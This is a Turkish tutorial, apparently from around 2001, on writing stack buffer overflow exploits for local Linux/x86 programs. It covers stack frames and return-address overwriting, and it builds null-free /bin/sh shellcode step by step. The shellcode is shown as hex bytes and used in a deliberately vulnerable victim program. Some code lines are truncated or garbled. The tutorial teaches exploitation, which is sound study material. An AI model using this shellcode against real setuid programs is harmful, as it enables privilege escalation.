"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */

main()
{
void (*fp) (void);

fp = (void *)sc;
fp();
}


----------------------- sc.c ------------------------------

$ make s-sc
cc -g s-sc.c -o s-sc
$ ./s-sc
sh-2.04$

Buffer Overflow

Buffer overflow'larin ortaya cikma tarihi 1970ler.  Ilk public kullanimi

1980'ler (Morris Worm). Kendisiyle ilgili dokumanlar ve kodlar Internet'te
1990'dan beri yayinlaniyor. 2001 senesindeyiz ve hala bu konuda Turkce
dokuman YOK.

Bu dokuman boyle asiri detay iceren ve cok dikkat gerektiren konularla
ilgili dokumanlar serisinin ilki olup, en temel acik turu olan lokal
programlardaki buffer overflow aciklarini kullanan exploit yazmayi
ogretmeyi amacliyor.

Dokumani anlamak icin yuzeysel C, assembly bilmeniz gerekli. Sanal bellek,
bir proses'in bellekte nasil yerlestigi ve benzeri isletim sistemi kavramlari
bilgileri cok yardimci olur. Ayrica setuid programlarin ne olduklari ve
nasil calistiklari gibi temel Unix bilgileri dokumani anlamaniz icin sart.
Gdb ve gcc ile daha onceden calismis olmaniz teknik olarak isinizi
kolaylastiracaktir. Dokuman Linux/ix86 spesifiktir. Detaylar az farkla
isletim sistemi ve mimariye gore degisir. Ilerideki dokumanlarda farkli
mimarilerde ve nispeten daha zor overflow ve shellcode tekniklerini
aciklanacaktir.

Bu dokumanin en yeni versiyonlarini,

http://www.enderunix.org/docs/bof.txt

adresinden okuyabilirsiniz...


Buffer Overflow Nedir?

Buffer overflow'u tanimlayabilmek icin once buffer nedir, onu tanimlamamiz
gerekiyor. Buffer, hafizada ard arda dizili turdes veri tipi (int, char
gibi) depolayan hafiza blogudur. C'de bunlar array olarak gecer.

Diger butun veri turleri gibi, array'ler de static yada dinamik olarak
siniflandirilabilirler. Static degiskenler, program hafizaya yuklenirken,
programin 'data segment'ine yerlestirilir, dinamik degiskenler ise, program
halihazirda calisirken, dinamik olarak "stack" dedigimiz hafizada program icin
hazirlanmis ozel bolumde yaratilip, yokedilirler. Iste buffer overflow
dedigimiz olay da, bu dinamik degiskenlerin tasiyabilecekleri veri miktarindan
fazlasini yukleyerek degisken'in sinirlarini asmadir. Kaba bir tabirle,
10 byte veri tasiyabilecek bir array'a 20 byte kopyalamak bu buffer'i overflow
etmek demektir.

Bir Linux ELF programinin bellekteki yerleskesi cok karmasik. Ozellikle
ELF (detayli bilgi icin google'da "Executable and Linkable Format" diye
aratin) ve shared library'lerin ortaya cikmasiyla yerleske daha da karmasik
hale geldi. Fakat temel olarak, her bir proses calismaya 3 segmentle baslar:
text, data ve stack.

1. Text segment, (genellikle bu programi calistiran tum prosesler tarafindan
paylasilan) salt okunur, programin instructionlarini iceren bolgedir.
Ornegin programinizdaki:

for (i = 0; i <>
s += i;

C koduna denk gelen assembly instruction'larini bu bolgede bulabilirsiniz.

2. Data segment, tanimlanmis veri ve (BSS olarak da bilinen) tanimlanmamis
verilerin bulundugu bolgedir. Ornegin

int i;

diye kullanirsaniz, "i" degiskeni icin BSS'te bir yer ayrilir.

int j = 5;

seklinde tanimlarsaniz, "j" degiskeni icin data segment'in tanimlanmis
veriler icin ayrilmis bolgesinde yer ayrilir.

3. Stack olarak adlandirilan, dinamik degiskenlerin (veya C jargonunda
otomatik degiskenlerin) kendisinde olusturuldugu, JMP, CALL gibi
fonksiyon cagrilarinin geri donus address'lerinin de gecici olarak
saklandigi bolgedir. Ornegin asagidaki fonksiyonda, i degiskeni stack'te
yaratilir, ve fonksiyon cikisinda yok edilir:

int myfunc(void)
{
int i;

for (i = 0; i <>
putchar("*");
putchar('\n');
}


Sembolize edecek olursak:

0xBFFFFFFF ---------------------
| |
| . |
| . |
| . |
| . |
| etc |
| env/argv pointer. |
| argc |
|-------------------|
| |
| stack |
| |
| | |
| | |
| V |
/ /
\ \
| |
| ^ |
| | |
| | |
| |
| heap |
|-------------------|
| bss |
|-------------------|
| tanimlanmis veri |
|-------------------|
| text |
|-------------------|
| shared librariler |
| vs. |
0x8000000 |-------------------|


_* STACK *_

Gunumuzde neredeyse butun islemcilerin "built-in" stack destegi var. Stack,
LIFO (Last In, First Out - son gelen ilk cikar) seklinde duzenlenmis bir
veri yapisidir. Islemci, PUSH ve POP gibi komutlarla stack'a veri aktarir,
ya da stack'dan veri cikarir, yani stack'ten cikarilacak ilk veri, stack'e
aktarilan son veri olacaktir.

Islemcideki SP (Stack Pointer) register'i, stack'ten cikarilacak veri'nin
adresini icerir. SP'nin son veriye mi, yoksa son veriden bir sonraki
adrese mi isaret edecegi de islemciden islemciye degisir, fakat mevzumuz
olan ix86 mimarisinde SP en son verinin adresine isaret eder. Bu veri,
stack'in en ustudur. ix86 korumali modda (protected mode) stack'ten veri
cikarilmasi veya eklenmesi 4 byte'lik (32 bit/double word) uniteler halinde
olur. Stack'le ilgili diger onemli bir konu ise yukaridaki resimde
goruldugu gibi genellikle asagiya dogru buyumesi. Yani, SP'nin degeri
0xFF ise, PUSH EAX instruction'indan sonra SP'nin degeri 0xFC olur ve EAX'in
degeri 0xFC adresinde yerlesir.

PUSH instruction'i, ESP'den 4 byte cikararak (bi ust paragrafi hatirlayin)
stack'e bir double word push eder, ve double word'u ESP registerinin icindeki
adrese yerlestirir. POP instruction'i da, ESP registerindaki adresi okur,
ordaki degeri stack'tan cikarir, ve ESP'nin degerini 4 artirir (ESP deki
adresi 4 artirir). ESP'nin baslangic degerinin 0x1000, oldugunu dusunerek
asagidaki assembler kodunu inceleyelim:

PUSH dword1 ;dword1'deki deger 1, ESP'nin degeri su anda 0xFFC (0x1000 - 4)
PUSH dword2 ;dword2'deki deger 2, ESP'nin degeri su anda 0xFF8 (0xFFC - 4)
PUSH dword3 ;dword3'deki deger 3, ESP'nin degeri su anda 0xFF4 (0xFF8 - 4)
POP EAX ; EAX'in degeri 3, ESP'nin degeri su anda 0xFF8 (0xFF4 + 4)
POP EBX ; EBX'in degeri 2, ESP'nin degeri su anda 0xFFC (0xFF8 +4)
POP ECX ; ECX'in degeri 1, ESP'nin degeri su anda 0x1000 (0xFFC + 4)

Stack, gecici veri depolamak, dinamik degiskenleri saklamanin yaninda,
fonskiyon cagrilari yaparken, geri donus adresini saklamak, yerel
degiskenleri depolamak, fonksiyonlara paremetre yollamak icin kullaniliyor.


CALL ve RET instruction'lari:

ix86 islemci ailesi, RET ve CALL isminde, fonksiyon cagrilarini hizli ve kolay
hale getiren iki instruction sagliyor. Dusunun, program calisiyor,
instruction'lar teker teker calistiriliyorlar, ve bir fonksiyon cagirildi.
IP (Instruction Pointer) artik hafizada o fonksiyonun baslangicini gosteriyor.
Peki, fonksiyon bittiginde nereden devam edecegiz? Fonksiyon bittiginde, IP
fonksiyon cagrilmadan onceki instruction'dan bi sonraki instruction'in
adresini gostermeli.

Su kodu inceleyelim:

x = 0;
fonksiyon(1, 2, 3);
x = 1;

x = 0 icin gerekli olan birkac assembly komutu calistiktan sonra,
fonksiyon()'un bulundugu hafiza bolmesine gitmemiz gerekiyor. Bunun icin
normalde, once bir sonraki instruction'un adresini (x = 1) stack'e kopyalar,
JMP ile fonksiyonun adresine ziplar, fonksiyonun bitiminde, daha once stack'e
sakladigimiz "geri donus adres"ine tekrar JMP ederiz. Gercekte boyle yapmayiz tabi:


Iste, CALL instruction'u bu islemler dizisini bizim icin otomatik olarak
yapiyor. Programin herhangi bir yerinde CALL cagrildiginda, once bir sonraki
instuction'un adresi stack'a PUSH edilir arkasindan da fonksiyon()'un adresine
gidilip ordaki instuction'lar calistirilir. Fonksiyon bittiginde ise, RET ile
geri donus adresi, stack'ten POP edilir, ve o adres EIP'ye yazilir. Boylece,
progmanin calistirilmasina kalindigi yerden devam edilir.

Simdi, yukaridaki fonksiyon() cagrildiktan hemen sonraki stack'in durumuna
bakalim

| 1 | ESP+12
| 2 | ESP+8
| 3 | ESP+4
|geri donus adresi| ESP

Simdi, eger stack, cagirdigimiz fonksiyon() icinde local degiskenleri
saklamak icin de kullanilacak, stack pointer'in (ESP) degeri de degisecektir
demektir. Fakat, biz ESP'nin degerini de korumaliyiz, cunku fonksiyon()'dan
ciktiktan sonra da, main() icinde ESP kullanilmaya devam edecek, ve
fonksiyon()'dan geri donuldugunde main() ESP'yi fonksiyon cagirilmadan onceki
degerinde gormek isteyecek. Bunun icin de, ESP, EBP (Extendend Base
Pointer) olarak kopyalanir, ve stack'a PUSH edilir. (Dipnot olarak sunu da
belirtelim ki, anlatilan bu protokol diger adiyla ABI (Application Binary
Interface) Unix firmalari ve islemci ureticilerini iceren bir konsorsiyum
tarafindan belirlenmistir. Bu sebeple, ayni mimaride calisan Unix isletim
sistemleri binary'leri genellikle birbirlerinde calismaktadir, ornegin Linux
binary'lerinin Solaris/ix86 veya SCO'da calismasi gibi)

EBP'nin de stack'a PUSH edildigi ve yerel(otomatik) degiskenler icin de yer
ayrildigi stack'in gorunusu:

| 1 | EBP+16
| 2 | EBP+12
| 3 | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP
| yerel_degisken_1| EBP-4
| yerel_degisken_2| EBP-8

Yukaridaki sekilde parametre 1, 2 ve 3, fonksiyon(1, 2, 3) deki,
fonksiyon()'a girilen parametreler, geri donus adresi ve saklanmis ESP'den
sonra da fonksiyon icindeki yerel(otomatik) degiskenler yerel_degisken_1,
yerel_degisken_2 oluyor.

Simdi butun bu ogrendiklerimizi toparlayacak olursak, bir fonksiyon
cagrilirken:

1. ESP'nin degeri, EBP olarak kopyalanip, stack'a PUSH edilir
2. bir sonraki instruction'un adresi stack'a PUSH edilir
3. fonksiyon CALL edilir.

Yukaridaki islemler dizisine "Procedure Prologue" denir. Procedure Epilogue
da, RET cagrildiginda bunun tam tersi yapilarak stack bosaltiliyor, ve
fonksiyon cagrilmadan onceki haline geri donuyor.

Simdi, stack'in isleyisini basit bir ornek uzerinde gorelim:

void fonksiyon(int a, int b, int c)
{
char foo1[6];
char foo2[9];
}

void main()
{
fonksiyon(1,2,3);
}

Simdi bu kodu, gcc'ye -S switch'i vererek derleyelim, boylece programin
olusturlan assembly kodunu gorebilecegiz:

[evil@pathfinder evil]$ gcc ornek.c -S -o ornek.S

ornek.S dosyasindaki main: kismina bakalim:

main:
pushl %ebp
movl %esp,%ebp
pushl $3
pushl $2
pushl $1
call fonksiyon

Yukarida gordugunuz gibi, once main() icin procedure prologue yapilmis.
EBP PUSH edilmis, eski Stack Pointer'in degeri, EBP'ye kopyalanmis.
Sonra sirasiyla *tersten* 3., 2., ve 1. fonksiyon argumanlari stack'e PUSH
edilimis, ve en sonunda da fonksiyon cagrilmis.

fonksiyon'un icine bakalim simdi de:

fonksiyon:
pushl %ebp
movl %esp,%ebp
subl $20,%esp

gene ayni sekilde procedure prologue tekrarlanmis:

Base pointer stack'a push edilmis, bir stack pointer'in bir onceki degeri
stack'a push edilmis, ve yerel degiskenler icin toplam 20 byte'lik yer
acilmis.

Eger foo1 ve foo2 array'larinin toplam uzunlugu 6+9 = 15 byte, neden 20 byte
cikarilmis diye sorarsaniz, hafiza, dolayisiyla stack, 4 byte'lik bloklar
halinde adreslenir, stack'a 1 bytelik veri PUSH edemezsiniz ve PUSH islemleri
genellikle 4 byte'lik bloklarla yapilir.

foo1[6], 8 byte yer kaplayacak,
foo2[9], 12 byte yer kaplayacak, dolayisiyla, 8+12 = 20!

Simdi fonksiyon cagrildiginda stack'in goruntusu soyle olacaktir:

| 1 | EBP+16
| 2 | EBP+12
| 3 | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP
| foo1 | EBP-4
| foo1 | EBP-8
| foo2 | EBP-12
| foo2 | EBP-16
| foo2 | EBP-20


Simdi, sizin de tahmin ettiginiz uzere, foo1'e 8 byte'dan fazla, foo2'ye 12
byte'dan fazla veri yukledigimizde foo1 veya foo2 icin ayrilmis buffer'i
overflow etmis oluruz. foo1 array'ine 8 byte'dan fazla mesela 8 arti 4 byte
daha eklersek saklanmis ESP'in uzerine yazmis oluruz, bir 4 byte daha
yazarsak, geri donus adresinin uzerine yazmis oluruz ki, buffer overflow
aciklarinin exploit edilmesi temelde budur.

Simdi, buffer overflow olayini basit bir ornekle daha iyi aciklamaya
calisalim:

Soyle bir kodumuz olsun:

void fonksiyon(char *str)
{
char foo[16];

strcpy(foo, str);
}

void main()
{
char buyuk_array[256];

memset(buyuk_array, 'A', 255);
fonksiyon(buyuk_array);
}

Yukarida yaptigimiz sey, normalde 16 byte alabilecek bir array'a 255 byte
saklamaya calismak. main() icinde 255 bytelik bir array'i fonksiyon()' a
parametre olarak gonderdik, fonksiyon icinde ise array'lerin sinirlarini
kontrol etmeden, strcpy() ile uzun array'in tamamini foo[] dolup tasana
kadar kopyaladik.

Boylece buffer doldu tasti, geri donus adresi de dahil olmak uzere hafizanin
bir kismini 'A' harfi ile doldurdu. Bu programi derleyip calistirirsak,
"Segmentation fault (core dumped)" hatasi aliriz. Bu hatanin sebebi
genellikle programin kendine ait bellek kismi disindaki kisimlara erismeye
calismasidir. Core dosyasini, programin crash ettigi andaki hafiza
fotografi olarak dusunebiliriz.

gdb ile olusan core dosyasini incelersek:

[evil@victim evil]$ gdb -q ./e ./core
Core was generated by `./e'
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)

Gordugunuz gibi, RET instruction'i EIP register'ina 'AAAA' ya karsilik gelen
0x41414141 adresini PUSH ettigi icin, bu adresteki instruction'a islemci
tarafindan erisilmeye calisilmis. Fakat bu adres prosesin erisim yetkisi
disinda oldugu icin isletim sistemi SIGSEGV signaliyla programin calismasina
son vermis.

fonksiyon'u cagirdigimizda Stack'in gorunumu soyledir:

| *str | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP ESP
| foo1 | EBP-4
| foo1 | EBP-8
| foo1 | EBP-12
| foo1 | EBP-16

Biz strcpy()'yi cagirdigimizda buyuk_array, foo1 array'inin baslangic adresi
olan EBP-16'dan baslayarak, yukari dogru butun stack'i A ile dolduruyor.
Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese
calismasini istedigimiz baska bir program parcaciginin adresini koysak,
fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki
instruction'lari calistirmaya baslamaz mi?

Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini
koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod
calismaya baslayacak ve biz shell'e dusecegiz.

Pointer aritmetigi ile, geri donus adresinin degerini degistiebildigimizi
soyle ufak bir ornekte anlatmaya calisalim:

void fonksiyon(int a, int b, int c)
{
char foo[6];
int *ret;

ret = foo + 12;
(*ret) += 8;
}

void main()
{
int x;

x = 0;
fonksiyon(1, 2, 3);
x = 1;
printf("%d\n", x);
}

Yukaridaki kodu calistirisaniz, x degerinin 1 olarak degil 0 olarak
basildigini goreceksiniz. Burada yaptigimiz sey, geri donus adresinin degeri
ile oynayarak, x = 1; komutunu pas gecmek oldu.

Yukaridaki kodda daha once de anlattigimiz gibi, fonksiyon cagrilmadan once,
bir sonraki instruction'un yani "x = 1"e denk gelen instruction'in adresi
geri donus adresi olarak stack'e PUSH ediliyor. Fonksiyon cagrildiktan sonra
stack'in gorunumunu sembolize edecek olursak:


| a | EBP+16
| b | EBP+12
| c | EBP+8
|geri donus adresi| EBP+4
| saklanmis ESP | EBP ESP
| foo | EBP-4
| foo | EBP-8

fonksiyon icinde bir integer'a pointer olan *ret, in adresini, foo'nun adresi
+ 12 olarak belirledik. Yukaridaki sekle bakarsaniz, foo'nun
adresi(ESP-8)'e 12 eklerseniz geri donus adresinin basina gelmis oluruz.
(*ret) += 8 yaparak da, o bolmede saklanmakta olan geri donus adresinin
degerini 8 aritiriyoruz. Neden mi? Kodumuzun assembler dump'ina bakalim:

0x804849d : pushl $0x3
0x804849f : pushl $0x2
0x80484a1 : pushl $0x1
0x80484a3 : call 0x8048470
0x80484a8 : addl $0xc,%esp
0x80484ab : movl $0x1,0xfffffffc(%ebp)
0x80484b2 : movl 0xfffffffc(%ebp),%eax
0x80484b5 : pushl %eax
0x80484b6 : pushl $0x804851c
0x80484bb : call 0x80483bc
0x80484c0 : addl $0x8,%esp
0x80484c3 : leave
0x80484c4 : ret

daki fonksiyon'a CALL yapilmadan once ne yapiliyordu? Bir sonraki
instruction'un adresi stack'a push ediliyordu. Yani stack'e diger
instruction'un adresi olarak (x = 1'in) 0x80484ab adresi PUSH edilecek. Fakat
biz burdaki instruction'u gecmek ve de direkt olarak 0x80484b2 adresinden
devam etmek istiyoruz. Aradaki fark da 0x80484b2 - 0x80484ab = 0x8.
Yani 8 byte'lik bir fark var. O zaman, stack'a PUSH edilen geri donus
adresini degerini 8 artirirsak, x = 1 islemini bypass etmis olacagiz. Iste
bu nedenle 8 byte artiriyoruz: (*ret) += 8;.

Evet, eger retun adresin degeri ile oynayip, onu istedigimiz bir hafiza
bolmesine yonlendirebiliyorsak, o zaman, hafizada shell spawn eden bir
instruction'lar dizisi bulundurur, geri donus adresini de bu instruction'lar
dizisinin baslangic adresi olarak degistiririz, ve voila, direk olarak
shell'e duseriz!!!

Peki o zaman, shell spawn etmek icin ne yapmali? En basitinden C'de soyle
olacaktir:

#include

void main()
{
char *shell[2];

shell[0] = "/bin/sh";
shell[1] = NULL;

execve(shell[0], shell, NULL);
}

execve(2)'yi okursaniz, execve system call'u calistirilacak dosya ismine
pointer, arguman pointer'i ve de NULL da olabilen bir environment pointer'i
aliyor. Bu kodu derleyip calistirirsaniz:

[murat@victim murat]$ ./s
bash$

baska bir shell spawn etmis olursunuz...

Fakat biz "shell spawn eden programimizi" boyle cagiramayiz, oyle degil mi?
O zaman bunu makinanin direkt calistirabilecegi instruction'lar dizisi haline
getirmek lazim. Yukaridaki kodumuzu gcc'ye --static parametresi vererek
derleyip, assembler ciktisina bakalim:

[murat@victim murat]$ gcc --static -o s s.c
[murat@victim murat]$ gdb ./s
(gdb) disas main
Dump of assembler code for function main:
0x8048124
: pushl %ebp
0x8048125 : movl %esp,%ebp
0x8048127 : subl $0x8,%esp
0x804812a : movl $0x80592ac,0xfffffff8(%ebp)
0x8048131 : movl $0x0,0xfffffffc(%ebp)
0x8048138 : pushl $0x0
0x804813a : leal 0xfffffff8(%ebp),%eax
0x804813d : pushl %eax
0x804813e : movl 0xfffffff8(%ebp),%eax
0x8048141 : pushl %eax
0x8048142 : call 0x804ca10
0x8048147 : addl $0xc,%esp
0x804814a : leave
0x804814b : ret
0x804814c : nop
0x804814d : nop
0x804814e : nop
0x804814f : nop
End of assembler dump.
(gdb)

Yukarida kisaca,
ve de procedure prologue goruluyor,
-- char *shell icin gerekli 8 byte stack pointer'dan cikiliyor,
-- "/bin/sh" string'inin adresi EBP - 8'e yani shell[0]'a konuyor
- 0x0 yani NULL EBP - 4'e konuyor

simdi de sirasiyla argumanlar bir sonraki fonksiyon (execve) icin stack'a
PUSH ediliyor...

- 0x0 (shell[1]) PUSH ediliyor
- shell[0]'daki "/bin/sh" in adresi EAX registirina konuyor
- EAX stack'a push ediliyor, (dolayisiyla shell[0]in icindeki
efektiv adres)
- shell[0] in adresi EAX'a kopyalaniyor,
- EAX gene PUSH ediliyor
- execve() cagriliyor...


Simdi de execve'nin assembler dump'ina bakalim:

(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

Ilk uc satir, procedure prologue:

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx

Syscall table'daki execve'nin numarasi olan 11'i EAX'a kopyaliyoruz.
(farkli system call calistirmak isteyebilirsiniz, system call'un numarasini
/usr/src/linux/include/asm/unistd.h dosyasindan ogrenebilirsiniz. Farkli
system call'lari kullanan daha egzotik shellcode'lari sonraki dokumanlarda
bulabileceksiniz)

0x80002c0 <__execve+4>: movl $0xb,%eax

"/bin/sh" in adresini EBX'e kopyaliyoruz:

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

shell[]'in adresini ECX'e kopyaliyoruz:

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

NULL pointer'in adresini EDX'e kopyaliyoruz:

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

ve, kernel mod'a geciyoruz:

0x80002ce <__execve+18>: int $0x80

Simdi de, exit() icin gerekli assebmly kodlari:

(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

Yukadida da, ozet olarak, EAX register'i syscall table'da exit'in karsiligi
olan 1 yapilip, EBX'de 0 yapilip kernel mode'a geciliyor.

Evet yukaridakileri soyle bir ozetlersek, yaptigimiz sey, stack'a shell[0],
shell ve NULL PUSH edip execve'yi cagirmakti. Sonra execve "/bin/sh"i
calistirdi. Yalniz dikkat ediniz, execve'nin icinde yapilan isler tamamen
Linux-specific'tir. Linux, kernel moduna gecmeden once gerekli olan seyleri
register'lara koyar ve sonra da kernel moduna gecer, eger isletim sistemimiz
FreeBSD olsa idi, execve bu parametreleri gene stack'a koyacakti...

execve'nin calismasi icin gereken sartlar:

1. Hafizanin bir yerinde "/bin/sh" stringini bulundurmak,
2. "/bin/sh" in adresini ve arkasindan bir adet null long word bulundurmak
3. system call table'da execve'yi tanimlayan 0xb (11) degerini EAX registerina
koymak
4. "/bin/sh" in adresinin adresini EBX registerina koymak
5. shell'in adresini ECX registerina koymak
6. null long word'un adresini EDX registerina koymak,
7. 0x80 ile kernel moda gecmek.

Iste bu kadar, yalniz execve'de bir sorun oldugunda programin smooth exit
yapabilmesi icin bir de buna exit() system call'unu eklemeliyiz, ama bu
zorunlu degil. Bunu yapmayip shellcode'unuzu kisaltabilirsiniz.

exit() calistiran bir programi assembler koduna baktiginiz zaman, exit
syscall'unun da kernel moda gecmeden evvel, EAX registerina 0x1 (1) ve
de, EBX registerina 0x0 (0) istedigini goreceksiniz.

O zaman 7. den sonra 8, 9 ve 10. adimlarimizi da yazalim:

8. system call table'da exit'in karsiligi olan 0x1'i EAX'a koy
9. EBX'e 0x0 koy
10 0x80 ile kernel moduna gec.

Evet, kisaca boyle. Bu isleri yapan bir shell code yazip, objdump'la
hex karsiligini bulabiliriz:

void main() {
__asm__("
jmp 0x2a # 3 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
movb $0x0,0x7(%esi) # 4 byte
movl $0x0,0xc(%esi) # 7 byte
movl $0xb,%eax # 5 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
movl $0x1, %eax # 5 byte
movl $0x0, %ebx # 5 byte
int $0x80 # 2 byte
call -0x2f # 5 byte
.string \"/bin/sh\" # 8 byte
");
}

Bu programi derleyip objdump'la sadece main'in icerigine bakalim:

[murat@victim murat]$ make q
cc q.c -o q
[murat@victim murat]$ objdump -d q | grep \: -A23 | more
08048440
:
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 2a jmp 804846f
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: c6 46 07 00 movb $0x0,0x7(%esi)
804844d: c7 46 0c 00 00 movl $0x0,0xc(%esi)
8048452: 00 00
8048454: b8 0b 00 00 00 movl $0xb,%eax
8048459: 89 f3 movl %esi,%ebx
804845b: 8d 4e 08 leal 0x8(%esi),%ecx
804845e: 8d 56 0c leal 0xc(%esi),%edx
8048461: cd 80 int $0x80
8048463: b8 01 00 00 00 movl $0x1,%eax
8048468: bb 00 00 00 00 movl $0x0,%ebx
804846d: cd 80 int $0x80
804846f: e8 d1 ff ff ff call 8048445
8048474: 2f das
8048475: 62 69 6e boundl 0x6e(%ecx),%ebp
8048478: 2f das
8048479: 73 68 jae 80484e3 <_etext+0x33>
804847b: 00 c9 addb %cl,%cl
804847d: c3 ret

Gordugunuz gibi bize gerekli instruction'lar 0x8048443'ten itibaren basliyor.
Dikkat ederseniz, instruction'lar arasinda ornegin movl $0xb,%eax'a denk
gelen 0 iceren bir kac byte vardir. Sorun su ki, strcpy() ve arkadaslari
0 byte'i string'in sonu olarak algiliyor, yani bu haliyle bizim shellcode
sadece ilk 0 byte'a kadar kopyalanacak. 0'lara denk gelen instruction'lari
bunlarin dengi fakat 0 icermeyen instruction'larla degistirip tekrar
deneyelim. Asagida, hangi instruction'lari hangileriyle degistirdigimiz
yeraliyor:

movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax

Ve yeni shellcode'umuz:

void main() {
__asm__("
jmp 0x1f # 2 byte
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 byte
xorl %eax,%eax # 2 byte
movb %eax,0x7(%esi) # 3 byte
movl %eax,0xc(%esi) # 3 byte
movb $0xb,%al # 2 byte
movl %esi,%ebx # 2 byte
leal 0x8(%esi),%ecx # 3 byte
leal 0xc(%esi),%edx # 3 byte
int $0x80 # 2 byte
xorl %ebx,%ebx # 2 byte
movl %ebx,%eax # 2 byte
inc %eax # 1 byte
int $0x80 # 2 byte
call -0x24 # 5 byte
.string \"/bin/sh\" # 8 byte
# toplam 46 byte
");
}

[murat@victim murat]$ make q
cc q.c -o q
[murat@victim murat]$ objdump -d q | grep \: -A23
08048440
:
8048440: 55 pushl %ebp
8048441: 89 e5 movl %esp,%ebp
8048443: eb 1f jmp 8048464
8048445: 5e popl %esi
8048446: 89 76 08 movl %esi,0x8(%esi)
8048449: 31 c0 xorl %eax,%eax
804844b: 88 46 07 movb %al,0x7(%esi)
804844e: 89 46 0c movl %eax,0xc(%esi)
8048451: b0 0b movb $0xb,%al
8048453: 89 f3 movl %esi,%ebx
8048455: 8d 4e 08 leal 0x8(%esi),%ecx
8048458: 8d 56 0c leal 0xc(%esi),%edx
804845b: cd 80 int $0x80
804845d: 31 db xorl %ebx,%ebx
804845f: 89 d8 movl %ebx,%eax
8048461: 40 incl %eax
8048462: cd 80 int $0x80
8048464: e8 dc ff ff ff call 8048445
8048469: 2f das
804846a: 62 69 6e boundl 0x6e(%ecx),%ebp
804846d: 2f das
804846e: 73 68 jae 80484d8 <_fini+0x28>
8048470: 00 c9 addb %cl,%cl

Shell kodumuzu deneyelim:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main()
{
int *ret;

ret = (int *)&ret + 2;
(*ret) = shellcode;
}


[murat@victim murat]$ make shellcode
cc shellcode.c -o shellcode
[murat@victim murat]$ ./shellcode
bash$

Iste calisti!

Yaptigimiz sey, main() icindeki pointer to integer olan ret degiskeninin
adresini 2 birim (8 byte) artirarak geri donus adresinin oldugu yere gitmek,
sonra da o bolume shellcode'umuzun adresini saklamakti. main RET yaptiginda
geri donus adresi yerine shell kodumuzun adresini POP edildi, ve islemci
bu adresteki instruction'lari calistirdi...

-- Exploit Yazma --

Simdi kendimiz bir buffer overflow hatasi olan bir kod yazip, ondan shell
calistiralim:

victim.c:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_str[50];

void main()
{
int i;
char foo[12];

int *ap = (int *)large_str;

for (i = 0; i <>
*ap++ = shellcode;
strcpy(foo, large_str);
}


[murat@victim murat]$ make victim
cc victim.c -o victim
[murat@victim murat]$ ./victim
bash$

Voila! Iste bu kadar. Peki ne yaptik? for dongusunde, large_str array'ine
shellcode'umuz olan shellcode'nin adresini kopyaladik. Adres 32 bit - 4 byte
oldugu icin, i degiskenini 4'er artiriyoruz. Daha sonra, main()'in icindeki
